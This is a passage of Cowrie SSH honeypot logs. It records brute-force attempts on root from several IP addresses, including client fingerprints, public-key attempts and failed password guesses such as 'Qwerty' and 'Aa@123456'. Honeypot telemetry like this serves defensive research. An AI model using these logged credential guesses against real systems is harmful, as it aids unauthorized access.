failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.447399Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.498630Z","src_ip":"83.168.110.85","session":"978090111f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:c4:24:27:48:bf:df:52:a5:50:52:f1:70:70:da:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBeqx3zcSmVrnSvm+ONDuwNZXvM4TyoJElW6QuvrPgaQswYIDw0+DZ2ehjGIowlyQJS+Clnx8AnYkRnGDshGwytkREQfgqO7vlNuaG6yAQCwGIDFo55/9fpTmq+IbGgvTykJN4jfCfn4ie148hesU+PliS2rEVva1VjizJxl00VK+xAPN2RXyO28/s8VUljLWzai7tcoKW1DJ98/n5sVQJyx3qhcSSDAx98/eiAaaXJa8v9ACPfSt8VFDtwOKUlG6M+EDkv03SF3liTpLJl6hJZzCtIOLswA00KkR9Y3TJsF2/BuRqswU2DLoeSii5nS/xqgFzc5InZRDsJb+oz0ZS3Jp8iaD9pQuBcYqK2+tMtqNOdlSkg2kvLbgpxlSB6UdXjPitk1FuB1Ag/E3iK4qCWxc3Y7qh7HRou3IF5dNBlEFE/xlNjeQb2Bi6OmQ8aL/ekO3w+fneH0/s/iCelt+N+EcSL5ecfA7WbY+ydba2OGQWe/z/7i67tCwvMIpLC/sB9yKnfxV49GMA/L+GwRafyX5k7HgIKemz0Og3p97VrzS0HjT1fczZdf3Ozj5S87zerwob4oqZp2dzboe7JxE8uiv3gnWjCUBK/aTt6B3Aq8pSNLGegaUHmfFdHUzQy8Y990U3qBBaMq2F3AnfMs5uQp48w8MJcfnWkhG1ACbjxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:c4:24:27:48:bf:df:52:a5:50:52:f1:70:70:da:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.579532Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:c4:24:27:48:bf:df:52:a5:50:52:f1:70:70:da:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBeqx3zcSmVrnSvm+ONDuwNZXvM4TyoJElW6QuvrPgaQswYIDw0+DZ2ehjGIowlyQJS+Clnx8AnYkRnGDshGwytkREQfgqO7vlNuaG6yAQCwGIDFo55/9fpTmq+IbGgvTykJN4jfCfn4ie148hesU+PliS2rEVva1VjizJxl00VK+xAPN2RXyO28/s8VUljLWzai7tcoKW1DJ98/n5sVQJyx3qhcSSDAx98/eiAaaXJa8v9ACPfSt8VFDtwOKUlG6M+EDkv03SF3liTpLJl6hJZzCtIOLswA00KkR9Y3TJsF2/BuRqswU2DLoeSii5nS/xqgFzc5InZRDsJb+oz0ZS3Jp8iaD9pQuBcYqK2+tMtqNOdlSkg2kvLbgpxlSB6UdXjPitk1FuB1Ag/E3iK4qCWxc3Y7qh7HRou3IF5dNBlEFE/xlNjeQb2Bi6OmQ8aL/ekO3w+fneH0/s/iCelt+N+EcSL5ecfA7WbY+ydba2OGQWe/z/7i67tCwvMIpLC/sB9yKnfxV49GMA/L+GwRafyX5k7HgIKemz0Og3p97VrzS0HjT1fczZdf3Ozj5S87zerwob4oqZp2dzboe7JxE8uiv3gnWjCUBK/aTt6B3Aq8pSNLGegaUHmfFdHUzQy8Y990U3qBBaMq2F3AnfMs5uQp48w8MJcfnWkhG1ACbjxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.583084Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:ff:0f:64:52:ed:26:5a:21:00:15:22:eb:f5:bd:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlpiSf88z9fxapYAojCC/eFuYdxHyGc1zAr8tLk8bESzCBQuOqfEWjfSciMEN0O9//7TLz5MUKldqbLbM5PmRmKq+nOV+THk9D+v+HCQnhM8pA9mgtnK81U+4tWSokKsRpCFztK/X06bQozG8myHay7BBRJCugdbuUenVHIGvHAEx3qS+xDE/Glk/copYm+FRrEY8Bt6pY6ll5yxN61Mqurp0CvUgW2SeKI3kIdIlCBUrpm90wJi5OYm0/CF15EQtfLW9/1WlGkuV7ZcD6Ld2fGPuudwC+yasI7f4+4PMpPK39JCZ0WyBTkrPZA1i0lx6FJnPJ6Lqu+++cRKq3ukHjkRpQUpJgqYaSIR6qA10JdCB1KwHg+es/UMEa6bOrJsdjPviBlsBXBmnbkPo5bMUZWkAq/7fbdT12u8ShjItJC64R1M/aChP625HfJmA8ONIg/dGPfpK7OzRyxs/gSByjDffXThBVlgbjhSQXRDMXSn4pFSA8L2x+ayiZiFLhFTparJD59Q10GhEbr7Tad67czfAlibdvoloNna0V9jR17ayjibvv5IM0xNSU6R6K2EB6r7JEQNoWG4ZtqjR5OhcIuwAxuSQQ1Zia3xO2aEbmvLekOYJ4uCBssxdB9jECcLnMS2o9j7qpCLvCfHlYCuueHTQX7uU4lme/SeYHJnbSpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:ff:0f:64:52:ed:26:5a:21:00:15:22:eb:f5:bd:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.715325Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:ff:0f:64:52:ed:26:5a:21:00:15:22:eb:f5:bd:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlpiSf88z9fxapYAojCC/eFuYdxHyGc1zAr8tLk8bESzCBQuOqfEWjfSciMEN0O9//7TLz5MUKldqbLbM5PmRmKq+nOV+THk9D+v+HCQnhM8pA9mgtnK81U+4tWSokKsRpCFztK/X06bQozG8myHay7BBRJCugdbuUenVHIGvHAEx3qS+xDE/Glk/copYm+FRrEY8Bt6pY6ll5yxN61Mqurp0CvUgW2SeKI3kIdIlCBUrpm90wJi5OYm0/CF15EQtfLW9/1WlGkuV7ZcD6Ld2fGPuudwC+yasI7f4+4PMpPK39JCZ0WyBTkrPZA1i0lx6FJnPJ6Lqu+++cRKq3ukHjkRpQUpJgqYaSIR6qA10JdCB1KwHg+es/UMEa6bOrJsdjPviBlsBXBmnbkPo5bMUZWkAq/7fbdT12u8ShjItJC64R1M/aChP625HfJmA8ONIg/dGPfpK7OzRyxs/gSByjDffXThBVlgbjhSQXRDMXSn4pFSA8L2x+ayiZiFLhFTparJD59Q10GhEbr7Tad67czfAlibdvoloNna0V9jR17ayjibvv5IM0xNSU6R6K2EB6r7JEQNoWG4ZtqjR5OhcIuwAxuSQQ1Zia3xO2aEbmvLekOYJ4uCBssxdB9jECcLnMS2o9j7qpCLvCfHlYCuueHTQX7uU4lme/SeYHJnbSpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.719317Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:7e:8c:5b:9f:88:37:b2:63:62:bc:8d:89:2c:dc:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTN9Hmyw6tpCjzktKxJ2Ye6wET5Ljcz4YbY8MGdzOOZGRXRt2hbOKR5B6MOE7AuGNJkacdqFlP7W9FVClx5V9lZQJea3Fi3SpCWvJS0KtiJM6hPRAPXBo3bgY5qDvMLFN7bewRvrXvmbbXaFkhgD5qKLOrXANkYj+YM8SohFGp2Tal7lpTLi8/sxYcEYiJ6EH+mCMXAdcs5m++/IJV6GdUQxxlvyL4iW50IOIqKMlEXcVjQYBeGfge1Yc878msYVtTKPVkCB9OCXK/QGpLijbaav5C4cbtXyfR5uhieYzqJLaK5k0E0cYcJ8dv1szZPU3Soy4Ai8TKhdOYcA7Rr1+b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:7e:8c:5b:9f:88:37:b2:63:62:bc:8d:89:2c:dc:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.855046Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:7e:8c:5b:9f:88:37:b2:63:62:bc:8d:89:2c:dc:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTN9Hmyw6tpCjzktKxJ2Ye6wET5Ljcz4YbY8MGdzOOZGRXRt2hbOKR5B6MOE7AuGNJkacdqFlP7W9FVClx5V9lZQJea3Fi3SpCWvJS0KtiJM6hPRAPXBo3bgY5qDvMLFN7bewRvrXvmbbXaFkhgD5qKLOrXANkYj+YM8SohFGp2Tal7lpTLi8/sxYcEYiJ6EH+mCMXAdcs5m++/IJV6GdUQxxlvyL4iW50IOIqKMlEXcVjQYBeGfge1Yc878msYVtTKPVkCB9OCXK/QGpLijbaav5C4cbtXyfR5uhieYzqJLaK5k0E0cYcJ8dv1szZPU3Soy4Ai8TKhdOYcA7Rr1+b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.857906Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.989045Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":34686,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dfc068a4acc","protocol":"ssh","message":"New connection: 152.32.171.99:34686 (159.203.135.109:22) [session: 8dfc068a4acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:35.384625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:35.389893Z","src_ip":"152.32.171.99","session":"8dfc068a4acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:35.601824Z","src_ip":"152.32.171.99","session":"8dfc068a4acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Elephant123","message":"login attempt [root/Elephant123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:36.486029Z","src_ip":"152.32.171.99","session":"8dfc068a4acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:37.702102Z","src_ip":"152.32.171.99","session":"8dfc068a4acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43580,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4cac4d3f77","protocol":"ssh","message":"New connection: 83.168.110.85:43580 (159.203.135.109:22) [session: ea4cac4d3f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:39.074497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:39.078302Z","src_ip":"83.168.110.85","session":"ea4cac4d3f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:39.202142Z","src_ip":"83.168.110.85","session":"ea4cac4d3f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:39.564581Z","src_ip":"83.168.110.85","session":"ea4cac4d3f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:40.746561Z","src_ip":"83.168.110.85","session":"ea4cac4d3f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40306,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa98d090f937","protocol":"ssh","message":"New connection: 83.168.110.85:40306 (159.203.135.109:22) [session: fa98d090f937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.420979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.424605Z","src_ip":"83.168.110.85","session":"fa98d090f937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":39080,"dst_ip":"159.203.135.109","dst_port":22,"session":"75a0034f0d32","protocol":"ssh","message":"New connection: 62.133.62.83:39080 (159.203.135.109:22) [session: 75a0034f0d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.468842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.473239Z","src_ip":"62.133.62.83","session":"75a0034f0d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.545714Z","src_ip":"83.168.110.85","session":"fa98d090f937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.553011Z","src_ip":"62.133.62.83","session":"75a0034f0d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2001","message":"login attempt [root/nikita2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.795192Z","src_ip":"62.133.62.83","session":"75a0034f0d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:49.905493Z","src_ip":"83.168.110.85","session":"fa98d090f937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:50.878595Z","src_ip":"62.133.62.83","session":"75a0034f0d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:51.031398Z","src_ip":"83.168.110.85","session":"fa98d090f937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":42218,"dst_ip":"159.203.135.109","dst_port":22,"session":"456dd1a8894b","protocol":"ssh","message":"New connection: 103.118.29.129:42218 (159.203.135.109:22) [session: 456dd1a8894b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:57.915987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:57.920478Z","src_ip":"103.118.29.129","session":"456dd1a8894b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:58.160720Z","src_ip":"103.118.29.129","session":"456dd1a8894b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpass","message":"login attempt [root/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:59.157825Z","src_ip":"103.118.29.129","session":"456dd1a8894b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6e8f2561b6","protocol":"ssh","message":"New connection: 83.168.110.85:47472 (159.203.135.109:22) [session: de6e8f2561b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:59.596801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:59.612008Z","src_ip":"83.168.110.85","session":"de6e8f2561b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","s